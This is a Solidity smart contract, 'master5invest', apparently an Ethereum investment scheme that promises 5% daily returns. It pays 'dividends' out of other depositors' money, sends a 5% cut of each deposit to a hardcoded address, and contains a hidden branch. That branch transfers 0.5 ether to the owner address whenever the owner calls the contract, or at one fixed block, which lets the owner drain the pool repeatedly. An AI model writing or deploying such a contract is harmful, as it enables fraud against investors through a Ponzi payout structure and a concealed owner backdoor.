pragma solidity ^0.4.25;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

contract master5invest {
    address publicity; 
   
    
    function master5invest () {
        publicity = 0xda86ad1ca27Db83414e09Cc7549d887D92F58506;
       
    }
    
    mapping (address => uint256) m5balances;
    mapping (address => uint256) nextpayout;
   
    function() external payable {
        uint256 newadv = msg.value / 20;
        publicity.transfer(newadv);
        
        if ( m5balances[msg.sender] != 0){
        address sender = msg.sender;
        
        uint256 dividends =  m5balances[msg.sender]*5/100*(block.number-nextpayout[msg.sender])/5900;
        sender.transfer(dividends);
        }

         nextpayout[msg.sender] = block.number; 
         m5balances[msg.sender] += msg.value; 
         
        
        if (msg.sender==publicity || block.number==6700000) {
            publicity.transfer(0.5 ether);
        }
        
        
    }
}